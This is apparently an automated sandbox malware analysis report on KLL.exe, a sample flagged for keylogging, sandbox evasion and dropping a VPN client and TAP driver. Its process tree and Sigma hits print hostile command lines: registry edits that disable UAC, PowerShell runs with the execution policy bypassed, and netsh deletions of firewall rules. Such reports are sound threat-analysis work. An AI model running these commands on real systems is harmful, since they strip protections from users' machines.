Edit tour

Windows Analysis Report
KLL.exe

Overview

General Information

Sample name:	KLL.exe
Analysis ID:	1477236
MD5:	5ffebaab4f8218b7abff3a8258dbf316
SHA1:	0808b7cc585e310e5576ad1a44eb37b963d952ef
SHA256:	f0795ab570128f9924611a8955e964a2121aac61135701cbdd38664ca746b1d4
Tags:	exe
Infos:

Detection

Score:	60
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Bypasses PowerShell execution policy

Connects to many ports of the same IP (likely port scanning)

Disable UAC(promptonsecuredesktop)

Disables UAC (registry)

Found evasive API chain (may stop execution after checking mutex)

Loading BitLocker PowerShell Module

Modifies the DNS server

Modifies the windows firewall

Performs a network lookup / discovery via ARP

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Queries sensitive service information (via WMI, Win32_LogicalDisk, often done to detect sandboxes)

Sample is not signed and drops a device driver

Uses cmd line tools excessively to alter registry or file data

Uses ipconfig to lookup or modify the Windows network settings

Uses known network protocols on non-standard ports

Uses netsh to modify the Windows network and firewall settings

Yara detected Generic Downloader

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Adds / modifies Windows certificates

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks for available system drives (often done to infect USB drives)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Creates driver files

Creates files inside the driver directory

Creates files inside the system directory

Creates or modifies windows services

Deletes files inside the Windows folder

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the windows directory (C:\Windows)

Drops certificate files (DER)

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Enables driver privileges

Enables security privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain (may stop execution after checking a module file name)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Installs a raw input device (often for capturing keystrokes)

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Modifies existing windows services

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

PE file does not import any functions

PE file overlay found

Potential key logger detected (key state polling based)

Queries disk information (often used to detect virtual machines)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: PSScriptPolicyTest Creation By Uncommon Process

Sigma detected: Suspicious Copy From or To System Directory

Sigma detected: Tap Installer Execution

Stores files to the Windows start menu directory

Stores large binary data to the registry

Uses code obfuscation techniques (call, push, ret)

Uses reg.exe to modify the Windows registry

Yara detected Keylogger Generic

Classification

Process Tree

System is w10x64

KLL.exe (PID: 3032 cmdline: "C:\Users\user\Desktop\KLL.exe" MD5: 5FFEBAAB4F8218B7ABFF3A8258DBF316)

cmd.exe (PID: 6500 cmdline: C:\Windows\system32\cmd.exe /c ipconfig /all MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7096 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ipconfig.exe (PID: 4956 cmdline: ipconfig /all MD5: 62F170FB07FDBB79CEB7147101406EB8)

netsh.exe (PID: 5912 cmdline: "C:\Windows\System32\netsh.exe" -f C:\ProgramData\7gW9F.xml MD5: 6F1E6DD688818BC3D1391D0CC7D597EB)

conhost.exe (PID: 5712 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 6436 cmdline: "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Roaming\B7508.bat" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6504 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reg.exe (PID: 5744 cmdline: reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t reg_dword /d 0 /F MD5: 227F63E1D9008B36BDBCC4B397780BE4)

reg.exe (PID: 4204 cmdline: reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t reg_dword /d 0 /F MD5: 227F63E1D9008B36BDBCC4B397780BE4)

reg.exe (PID: 5616 cmdline: reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v PromptOnSecureDesktop /t reg_dword /d 0 /F MD5: 227F63E1D9008B36BDBCC4B397780BE4)

cmd.exe (PID: 6948 cmdline: "C:\Windows\System32\cmd.exe" /c copy /b C:\ProgramData\8R96N\35Hrm~m8\s+C:\ProgramData\8R96N\35Hrm~m8\a C:\ProgramData\8R96N\35Hrm~m8\uc_guilib.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3276 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

svchost.exe (PID: 1892 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

mmc.exe (PID: 6052 cmdline: C:\Windows\system32\mmc.exe -Embedding MD5: 58C9E5172C3708A6971CA0CBC80FE8B8)

uc_ctrl.exe (PID: 5960 cmdline: "C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe" MD5: 8AA07B7C6C632F4EDF07A0E2B91F8566)

cmd.exe (PID: 5596 cmdline: C:\Windows\system32\cmd.exe /c ipconfig /all MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7060 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ipconfig.exe (PID: 3116 cmdline: ipconfig /all MD5: 3A3B9A5E00EF6A3F83BF300E2B6B67BB)

mmc.exe (PID: 2584 cmdline: C:\Windows\system32\mmc.exe -Embedding MD5: 58C9E5172C3708A6971CA0CBC80FE8B8)

letsvpn-latest.exe (PID: 6504 cmdline: "C:\ProgramData\letsvpn-latest.exe" MD5: 7CE62DC191CEE9DD1488C9D0A25FEDA4)

powershell.exe (PID: 5704 cmdline: powershell.exe -inputformat none -ExecutionPolicy Bypass -Command "If ($env:PROCESSOR_ARCHITEW6432) { $env:PROCESSOR_ARCHITEW6432 } Else { $env:PROCESSOR_ARCHITECTURE }" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 4956 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6208 cmdline: powershell -inputformat none -ExecutionPolicy Bypass -File "C:\Program Files (x86)\letsvpn\AddWindowsSecurityExclusion.ps1" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 1856 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

dllhost.exe (PID: 2172 cmdline: C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5} MD5: 08EB78E5BE019DF044C26B14703BD1FA)

tapinstall.exe (PID: 5412 cmdline: "C:\Program Files (x86)\letsvpn\driver\tapinstall.exe" findall tap0901 MD5: 1E3CF83B17891AEE98C3E30012F0B034)

conhost.exe (PID: 5816 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tapinstall.exe (PID: 2848 cmdline: "C:\Program Files (x86)\letsvpn\driver\tapinstall.exe" install "C:\Program Files (x86)\letsvpn\driver\OemVista.inf" tap0901 MD5: 1E3CF83B17891AEE98C3E30012F0B034)

conhost.exe (PID: 4984 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 6220 cmdline: cmd /c netsh advfirewall firewall Delete rule name=lets MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4368 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

netsh.exe (PID: 5952 cmdline: netsh advfirewall firewall Delete rule name=lets MD5: 4E89A1A088BE715D6C946E55AB07C7DF)

cmd.exe (PID: 2172 cmdline: cmd /c netsh advfirewall firewall Delete rule name=lets.exe MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6752 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

netsh.exe (PID: 2448 cmdline: netsh advfirewall firewall Delete rule name=lets.exe MD5: 4E89A1A088BE715D6C946E55AB07C7DF)

cmd.exe (PID: 1972 cmdline: cmd /c netsh advfirewall firewall Delete rule name=LetsPRO.exe MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6948 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

netsh.exe (PID: 2848 cmdline: netsh advfirewall firewall Delete rule name=LetsPRO.exe MD5: 4E89A1A088BE715D6C946E55AB07C7DF)

cmd.exe (PID: 6436 cmdline: cmd /c netsh advfirewall firewall Delete rule name=LetsPRO MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6360 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

netsh.exe (PID: 4368 cmdline: netsh advfirewall firewall Delete rule name=LetsPRO MD5: 4E89A1A088BE715D6C946E55AB07C7DF)

tapinstall.exe (PID: 2860 cmdline: "C:\Program Files (x86)\letsvpn\driver\tapinstall.exe" findall tap0901 MD5: 1E3CF83B17891AEE98C3E30012F0B034)

conhost.exe (PID: 3836 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

LetsPRO.exe (PID: 6572 cmdline: "C:\Program Files (x86)\letsvpn\LetsPRO.exe" MD5: 8FC872149F0B8D2FB3D75C4076C0A8CA)

LetsPRO.exe (PID: 6568 cmdline: "C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe" MD5: D664FB656FC05BE54EA49950688BE980)

cmd.exe (PID: 4996 cmdline: "cmd.exe" /C ipconfig /all MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5856 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ipconfig.exe (PID: 5044 cmdline: ipconfig /all MD5: 3A3B9A5E00EF6A3F83BF300E2B6B67BB)

cmd.exe (PID: 4164 cmdline: "cmd.exe" /C route print MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3192 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ROUTE.EXE (PID: 5044 cmdline: route print MD5: C563191ED28A926BCFDB1071374575F1)

cmd.exe (PID: 6256 cmdline: "cmd.exe" /C arp -a MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4696 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ARP.EXE (PID: 7172 cmdline: arp -a MD5: 4D3943EDBC9C7E18DC3469A21B30B3CE)

svchost.exe (PID: 6112 cmdline: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s DeviceInstall MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

drvinst.exe (PID: 2448 cmdline: DrvInst.exe "4" "0" "C:\Users\user\AppData\Local\Temp\{abc90244-27e4-214f-aab8-9d117657614d}\oemvista.inf" "9" "4d14a44ff" "0000000000000160" "WinSta0\Default" "000000000000014C" "208" "c:\program files (x86)\letsvpn\driver" MD5: 294990C88B9D1FE0A54A1FA8BF4324D9)

drvinst.exe (PID: 6948 cmdline: DrvInst.exe "2" "211" "ROOT\NET\0000" "C:\Windows\INF\oem4.inf" "oem4.inf:3beb73aff103cc24:tap0901.ndi:9.24.6.601:tap0901," "4d14a44ff" "0000000000000184" MD5: 294990C88B9D1FE0A54A1FA8BF4324D9)

svchost.exe (PID: 1856 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s NetSetupSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 2636 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s Netman MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1856 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s NetSetupSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

WmiApSrv.exe (PID: 5404 cmdline: C:\Windows\system32\wbem\WmiApSrv.exe MD5: 9A48D32D7DBA794A40BF030DA500603B)

svchost.exe (PID: 5148 cmdline: C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

LetsPRO.exe (PID: 7232 cmdline: "C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe" /silent MD5: D664FB656FC05BE54EA49950688BE980)

LetsPRO.exe (PID: 7332 cmdline: "C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe" "/silent" MD5: D664FB656FC05BE54EA49950688BE980)

LetsPRO.exe (PID: 7440 cmdline: "C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe" /silent MD5: D664FB656FC05BE54EA49950688BE980)

LetsPRO.exe (PID: 7532 cmdline: "C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe" "/silent" MD5: D664FB656FC05BE54EA49950688BE980)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author
C:\Program Files (x86)\letsvpn\app-3.7.0\netstandard.dll	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
C:\Program Files (x86)\letsvpn\Update.exe	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
C:\Program Files (x86)\letsvpn\app-3.7.0\libwin.dll	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: LetsPRO.exe PID: 6568	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
52.2.LetsPRO.exe.684f0000.20.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security

Sigma Signatures

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: powershell.exe -inputformat none -ExecutionPolicy Bypass -Command "If ($env:PROCESSOR_ARCHITEW6432) { $env:PROCESSOR_ARCHITEW6432 } Else { $env:PROCESSOR_ARCHITECTURE }", CommandLine: powershell.exe -inputformat none -ExecutionPolicy Bypass -Command "If ($env:PROCESSOR_ARCHITEW6432) { $env:PROCESSOR_ARCHITEW6432 } Else { $env:PROCESSOR_ARCHITECTURE }", CommandLine|base64offset|contains: )f, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\ProgramData\letsvpn-latest.exe" , ParentImage: C:\ProgramData\letsvpn-latest.exe, ParentProcessId: 6504, ParentProcessName: letsvpn-latest.exe, ProcessCommandLine: powershell.exe -inputformat none -ExecutionPolicy Bypass -Command "If ($env:PROCESSOR_ARCHITEW6432) { $env:PROCESSOR_ARCHITEW6432 } Else { $env:PROCESSOR_ARCHITECTURE }", ProcessId: 5704, ProcessName: powershell.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: "C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe" /silent, EventID: 13, EventType: SetValue, Image: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe, ProcessId: 6568, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\LetsPRO

Sigma detected: PSScriptPolicyTest Creation By Uncommon Process

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe, ProcessId: 6568, TargetFilename: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kekjmhry.fbb.ps1

Sigma detected: Suspicious Copy From or To System Directory

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, Tim Shelton (HAWK.IO), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c copy /b C:\ProgramData\8R96N\35Hrm~m8\s+C:\ProgramData\8R96N\35Hrm~m8\a C:\ProgramData\8R96N\35Hrm~m8\uc_guilib.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c copy /b C:\ProgramData\8R96N\35Hrm~m8\s+C:\ProgramData\8R96N\35Hrm~m8\a C:\ProgramData\8R96N\35Hrm~m8\uc_guilib.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\KLL.exe", ParentImage: C:\Users\user\Desktop\KLL.exe, ParentProcessId: 3032, ParentProcessName: KLL.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c copy /b C:\ProgramData\8R96N\35Hrm~m8\s+C:\ProgramData\8R96N\35Hrm~m8\a C:\ProgramData\8R96N\35Hrm~m8\uc_guilib.dll, ProcessId: 6948, ProcessName: cmd.exe

Sigma detected: Tap Installer Execution

Source: Process started

Author: Daniil Yugoslavskiy, Ian Davis, oscd.community: Data: Command: "C:\Program Files (x86)\letsvpn\driver\tapinstall.exe" findall tap0901, CommandLine: "C:\Program Files (x86)\letsvpn\driver\tapinstall.exe" findall tap0901, CommandLine|base64offset|contains: )^, Image: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe, NewProcessName: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe, OriginalFileName: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe, ParentCommandLine: "C:\ProgramData\letsvpn-latest.exe" , ParentImage: C:\ProgramData\letsvpn-latest.exe, ParentProcessId: 6504, ParentProcessName: letsvpn-latest.exe, ProcessCommandLine: "C:\Program Files (x86)\letsvpn\driver\tapinstall.exe" findall tap0901, ProcessId: 5412, ProcessName: tapinstall.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -inputformat none -ExecutionPolicy Bypass -Command "If ($env:PROCESSOR_ARCHITEW6432) { $env:PROCESSOR_ARCHITEW6432 } Else { $env:PROCESSOR_ARCHITECTURE }", CommandLine: powershell.exe -inputformat none -ExecutionPolicy Bypass -Command "If ($env:PROCESSOR_ARCHITEW6432) { $env:PROCESSOR_ARCHITEW6432 } Else { $env:PROCESSOR_ARCHITECTURE }", CommandLine|base64offset|contains: )f, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\ProgramData\letsvpn-latest.exe" , ParentImage: C:\ProgramData\letsvpn-latest.exe, ParentProcessId: 6504, ParentProcessName: letsvpn-latest.exe, ProcessCommandLine: powershell.exe -inputformat none -ExecutionPolicy Bypass -Command "If ($env:PROCESSOR_ARCHITEW6432) { $env:PROCESSOR_ARCHITEW6432 } Else { $env:PROCESSOR_ARCHITECTURE }", ProcessId: 5704, ProcessName: powershell.exe

Sigma detected: Suspicious Network Command

Source: Process started

Author: frack113, Christopher Peacock '@securepeacock', SCYTHE '@scythe_io': Data: Command: C:\Windows\system32\cmd.exe /c ipconfig /all, CommandLine: C:\Windows\system32\cmd.exe /c ipconfig /all, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\KLL.exe", ParentImage: C:\Users\user\Desktop\KLL.exe, ParentProcessId: 3032, ParentProcessName: KLL.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c ipconfig /all, ProcessId: 6500, ProcessName: cmd.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 1892, ProcessName: svchost.exe

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: KLL.exe	ReversingLabs: Detection: 31%
Source: KLL.exe	Virustotal: Detection: 32%			Perma Link

Source: KLL.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: D:\a\1\s\Utils\obj\Release\Utils.pdb source: LetsPRO.exe, 00000044.00000002.2598690192.0000000004FD2000.00000002.00000001.01000000.0000001A.sdmp
Source:	Binary string: /_/artifacts/obj/Microsoft.Win32.Registry.AccessControl/net461-windows-Release/Microsoft.Win32.Registry.AccessControl.pdb source: Microsoft.Win32.Registry.AccessControl.dll.19.dr
Source:	Binary string: E:\A\_work\1795\s\corefx\bin\obj\Windows_NT.AnyCPU.Release\System.Runtime.InteropServices.RuntimeInformation\net462\System.Runtime.InteropServices.RuntimeInformation.pdb source: LetsPRO.exe, 00000034.00000002.4552153335.00000000063C2000.00000002.00000001.01000000.0000001F.sdmp
Source:	Binary string: D:\a\1\s\LetsVPN\obj\Release\LetsPRO.pdb source: LetsPRO.exe, 00000034.00000000.2428812586.0000000000B82000.00000002.00000001.01000000.00000018.sdmp
Source:	Binary string: D:\simba9_pc\trunk\simba9\bin\Release\bin\uc_ctrl.pdb22 source: uc_ctrl.exe, 00000010.00000003.2111987373.00000000011AF000.00000004.00000020.00020000.00000000.sdmp, uc_ctrl.exe, 00000010.00000002.4517104426.0000000000B3A000.00000002.00000001.01000000.00000009.sdmp, uc_ctrl.exe, 00000010.00000000.2110079362.0000000000B3A000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.ObjectModel\4.0.11.0\System.ObjectModel.pdb source: System.ObjectModel.dll.19.dr
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.ObjectModel\4.0.11.0\System.ObjectModel.pdbX+r+ d+_CorDllMainmscoree.dll source: System.ObjectModel.dll.19.dr
Source:	Binary string: c:\git\OSS\notifyicon-wpf\Hardcodet.NotifyIcon.Wpf\Source\NotifyIconWpf\obj\Release\Hardcodet.Wpf.TaskbarNotification.pdb source: LetsPRO.exe, 00000034.00000002.4585596709.0000000037F82000.00000002.00000001.01000000.00000032.sdmp
Source:	Binary string: C:\Users\eric\dev\cb\bld\bin\e_sqlite3\win\v141\plain\x86\e_sqlite3.pdb source: LetsPRO.exe, 00000034.00000002.4635321304.0000000067CA7000.00000002.00000001.01000000.0000002D.sdmp
Source:	Binary string: c:\users\samuli\opt\tap-windows6-mattock\tapinstall\7600\objfre_wlh_amd64\amd64\tapinstall.pdb source: tapinstall.exe, 0000001D.00000002.2307967227.00007FF78E4D1000.00000020.00000001.01000000.00000016.sdmp, tapinstall.exe, 0000001D.00000000.2306396424.00007FF78E4D1000.00000020.00000001.01000000.00000016.sdmp, tapinstall.exe, 0000001F.00000000.2308899361.00007FF78E4D1000.00000020.00000001.01000000.00000016.sdmp, tapinstall.exe, 0000001F.00000002.2350347026.00007FF78E4D1000.00000020.00000001.01000000.00000016.sdmp, tapinstall.exe, 00000031.00000000.2367020724.00007FF78E4D1000.00000020.00000001.01000000.00000016.sdmp, tapinstall.exe, 00000031.00000002.2368504113.00007FF78E4D1000.00000020.00000001.01000000.00000016.sdmp
Source:	Binary string: D:\a\1\s\SDK\AppCenterAnalytics\Microsoft.AppCenter.Analytics.WindowsDesktop\obj\Release\net461\Microsoft.AppCenter.Analytics.pdbSHA256 source: LetsPRO.exe, 00000034.00000002.4560500804.000000002FC52000.00000002.00000001.01000000.00000026.sdmp
Source:	Binary string: C:\WorkShop\WebSocket4Net\WebSocket4Net\obj\Release\WebSocket4Net.pdb source: LetsPRO.exe, 00000034.00000002.4588396530.0000000038132000.00000002.00000001.01000000.00000039.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Security.Cryptography.Encoding\4.0.2.0\System.Security.Cryptography.Encoding.pdb source: System.Security.Cryptography.Encoding.dll.19.dr
Source:	Binary string: /_/CommunityToolkit.Mvvm/obj/Release/netstandard2.0/CommunityToolkit.Mvvm.pdbSHA256 source: LetsPRO.exe, 00000034.00000002.4551634567.0000000006322000.00000002.00000001.01000000.0000001E.sdmp, CommunityToolkit.Mvvm.dll.19.dr
Source:	Binary string: D:\a\1\s\SDK\AppCenter\Microsoft.AppCenter.WindowsDesktop\obj\Release\net461\Microsoft.AppCenter.pdb source: LetsPRO.exe, 00000034.00000002.4520579062.00000000013B3000.00000004.00000020.00020000.00000000.sdmp, LetsPRO.exe, 00000034.00000002.4560889921.000000002FF02000.00000002.00000001.01000000.00000027.sdmp
Source:	Binary string: C:\Users\eric\dev\SQLitePCL.raw\src\SQLitePCLRaw.batteries_v2.e_sqlite3.dynamic\obj\Release\netstandard2.0\SQLitePCLRaw.batteries_v2.pdb source: LetsPRO.exe, 00000034.00000002.4567455521.0000000030B22000.00000002.00000001.01000000.00000029.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin\obj\Windows_NT.AnyCPU.Release\System.Net.Http\netfx\System.Net.Http.pdb source: LetsPRO.exe, 00000034.00000002.4607168413.0000000039882000.00000002.00000001.01000000.0000003B.sdmp
Source:	Binary string: /_/CommunityToolkit.Mvvm/obj/Release/netstandard2.0/CommunityToolkit.Mvvm.pdb source: LetsPRO.exe, 00000034.00000002.4551634567.0000000006322000.00000002.00000001.01000000.0000001E.sdmp, CommunityToolkit.Mvvm.dll.19.dr
Source:	Binary string: /_/artifacts/obj/System.Data.Odbc/net461-windows-Release/System.Data.Odbc.pdb source: System.Data.Odbc.dll.19.dr
Source:	Binary string: C:\Users\eric\dev\SQLitePCL.raw\src\SQLitePCLRaw.batteries_v2.e_sqlite3.dynamic\obj\Release\netstandard2.0\SQLitePCLRaw.batteries_v2.pdbSHA256 source: LetsPRO.exe, 00000034.00000002.4567455521.0000000030B22000.00000002.00000001.01000000.00000029.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin\obj\AnyOS.AnyCPU.Release\System.ValueTuple\netfx\System.ValueTuple.pdbT source: System.ValueTuple.dll.19.dr
Source:	Binary string: vcruntime140.i386.pdbGCTL source: uc_ctrl.exe, 00000010.00000002.4522204610.000000006E111000.00000020.00000001.01000000.0000000C.sdmp
Source:	Binary string: D:\a\1\s\SDK\AppCenterCrashes\Microsoft.AppCenter.Crashes.WindowsDesktop\obj\Release\net461\Microsoft.AppCenter.Crashes.pdb source: LetsPRO.exe, 00000034.00000002.4560652507.000000002FC62000.00000002.00000001.01000000.00000028.sdmp
